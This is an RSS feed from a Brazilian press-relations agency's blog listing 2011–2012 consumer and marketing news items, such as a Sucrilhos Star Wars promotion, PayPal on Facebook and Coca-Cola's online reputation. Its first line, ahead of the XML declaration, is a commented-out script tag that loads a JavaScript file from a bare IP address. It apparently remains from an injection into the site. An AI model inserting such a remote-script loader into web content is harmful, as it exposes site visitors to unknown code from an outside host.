<!--<script src=http://201.49.218.35/.../j.js></script>-->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>d&#38;a blog &#187; Consumo</title>
	<atom:link href="http://www.deaimprensa.com.br/blog/category/consumo/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deaimprensa.com.br/blog</link>
	<description>Assessoria de Imprensa</description>
	<lastBuildDate>Fri, 03 Feb 2012 20:09:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Star Wars® 3D é tema da nova promoção do Sucrilhos®</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/star-wars%c2%ae-3d-e-tema-da-nova-promocao-do-sucrilhos%c2%ae/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/star-wars%c2%ae-3d-e-tema-da-nova-promocao-do-sucrilhos%c2%ae/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 18:51:52 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4045</guid>
		<description><![CDATA[
Em fevereiro, o filme da Star Wars® Episódio I &#8216;A Ameaça Fantasma™&#8217;, uma das maiores reproduções cinematográfica de todos os tempos e top no ranking da franquia de maior sucesso da sétima arte, terá a sua reestreia em 3D, com exibição nos cinemas de todo o Brasil.
E para celebrar essa novidade, a Kellogg’s® lançará uma [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/star-wars%c2%ae-3d-e-tema-da-nova-promocao-do-sucrilhos%c2%ae/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mais energia para a volta às aulas</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/mais-energia-para-a-volta-as-aulas/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/mais-energia-para-a-volta-as-aulas/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 13:02:45 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3996</guid>
		<description><![CDATA[ Tryon lança o tênis feminino Capri Essential, ideal para o dia a dia, e as mochilas Falcon e Explorer, que prometem agradar meninos e meninas
 
Passadas as férias, é hora de começar para valer o ano e dar início aos preparativos para voltar às aulas. Para proporcionar o máximo de conforto, a marca esportiva [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/mais-energia-para-a-volta-as-aulas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Internet é sinônimo de preço baixo</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/internet-e-sinonimo-de-preco-baixo/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/internet-e-sinonimo-de-preco-baixo/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 19:38:10 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3950</guid>
		<description><![CDATA[De acordo com uma pesquisa realizada pelo Ibope Media, 76% dos  consumidores veem a internet como sinônimo de preço baixo. Estes  usuários que compram pela web têm por objetivo encontrar ofertas,  descontos, leilões e portais de compras virtuais, o que torna esse  mercado muito visado no período de fim de ano, [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/internet-e-sinonimo-de-preco-baixo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aplicativo permite envio de dinheiro via Facebook</title>
		<link>http://www.deaimprensa.com.br/blog/2011/11/aplicativo-permite-envio-de-dinheiro-via-facebook/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/11/aplicativo-permite-envio-de-dinheiro-via-facebook/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 13:32:05 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3851</guid>
		<description><![CDATA[O Facebook vai virar uma espécie de banco online. Um acordo com a  empresa PayPal levará à rede social um aplicativo que premite o envio e  dinheiro, movimento restrito aos usuários da rede.
O aplicativo &#8220;Send Money&#8221; foi especialmente desenhado para o Facebook.   &#8221;Estamos unindo a maior empresa de transações financeiras on-line à [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/11/aplicativo-permite-envio-de-dinheiro-via-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fila participa pela primeira vez do Q!Bazar</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/fila-participa-pela-primeira-vez-do-qbazar/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/fila-participa-pela-primeira-vez-do-qbazar/#comments</comments>
		<pubDate>Mon, 31 Oct 2011 14:30:05 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3758</guid>
		<description><![CDATA[ O Q!Bazar tornou-se referência no mercado da moda e há 40 edições reúne as mais prestigiadas marcas nacionais e importadas, com descontos que variam de 30% a 70%. Para a sua estreia, a Fila apresenta as peças da última coleção especialmente selecionadas para o evento.
Os consumidores que forem ao Q!Bazar vão encontrar o melhor [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/fila-participa-pela-primeira-vez-do-qbazar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coca-Cola tem melhor reputação online no Brasil</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/coca-cola-tem-melhor-reputacao-online-no-brasil/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/coca-cola-tem-melhor-reputacao-online-no-brasil/#comments</comments>
		<pubDate>Mon, 31 Oct 2011 12:52:31 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3753</guid>
		<description><![CDATA[Eleita recentemente a marca mais lembrada do Brasil &#8211; pela 21ª primeira vez -, a Coca-Cola também é a empresa com melhor reputação online no país, segundo pesquisa da E-Consulting Corp. divulgada pelo IDG Now!.
De acordo com o levantamento, a companhia de bebidas ficou um pouco à frente do Google, mas as duas estão adiantadas [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/coca-cola-tem-melhor-reputacao-online-no-brasil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Entenda como é feita a pesquisa Top of Mind, que completa 21 anos</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/entenda-como-e-feita-a-pesquisa-top-of-mind-que-completa-21-anos/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/entenda-como-e-feita-a-pesquisa-top-of-mind-que-completa-21-anos/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 14:35:36 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3723</guid>
		<description><![CDATA[ 
 Há exatos 21 anos, o Datafolha sai às ruas de todo o país com uma ideia fixa na cabeça: descobrir quais são as marcas mais lembradas pelos brasileiros. Neste ano, não foi diferente. Entre os dias 2 e 5 de agosto, 189 pesquisadores percorreram o país de Norte a Sul para entrevistar a população a [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/entenda-como-e-feita-a-pesquisa-top-of-mind-que-completa-21-anos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prat-k lança caixas organizadoras em tecido</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/prat-k-lanca-caixas-organizadoras-em-tecido/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/prat-k-lanca-caixas-organizadoras-em-tecido/#comments</comments>
		<pubDate>Fri, 21 Oct 2011 14:39:36 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3689</guid>
		<description><![CDATA[Focada nas necessidades dos clientes e atenta às tendências de decoração, a Prat-K – empresa que produz e fornece soluções para ordenação inteligente de ambientes –, apresenta as novas caixas organizadoras em tecido, confeccionadas em TNT e fibra sintética de Ratan.
Disponíveis nas cores bege e café, lisas e em estampas listradas, as caixas são indicadas [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/prat-k-lanca-caixas-organizadoras-em-tecido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone 5 foi o último projeto de Jobs; chega em 2012</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/iphone-5-foi-o-ultimo-projeto-de-jobs-chega-em-2012/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/iphone-5-foi-o-ultimo-projeto-de-jobs-chega-em-2012/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 13:05:28 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[steve jobs]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3655</guid>
		<description><![CDATA[
Diz o site CNET que o iPhone 5 foi o último projeto criado por Steve  Jobs, morto em 5 de outubro, será lançado em 2012. De acordo com o site,  o ex-chefão da Apple trabalhou do conceito inicial ao desgin final para  concluir o projeto que ainda está por vir.
O CNET especula [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/iphone-5-foi-o-ultimo-projeto-de-jobs-chega-em-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter é 8,4 mil vezes mais eficiente que o Procon</title>
		<link>http://www.deaimprensa.com.br/blog/2011/10/twitter-e-84-mil-vezes-mais-eficiente-que-o-procon/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/10/twitter-e-84-mil-vezes-mais-eficiente-que-o-procon/#comments</comments>
		<pubDate>Thu, 13 Oct 2011 14:39:12 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3650</guid>
		<description><![CDATA[
Reclamações feitas pelo Twitter não são muito mais eficientes do que as  feitas ao Procon (Fundação de Proteção e Defesa do Consumidor). São  extremamente mais eficientes.
As redes sociais têm sido cada vez mais utilizadas pelos consumidores  que se sentem lesados. E a estratégia fez as empresas se mexerem, tanto  que leva [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/10/twitter-e-84-mil-vezes-mais-eficiente-que-o-procon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

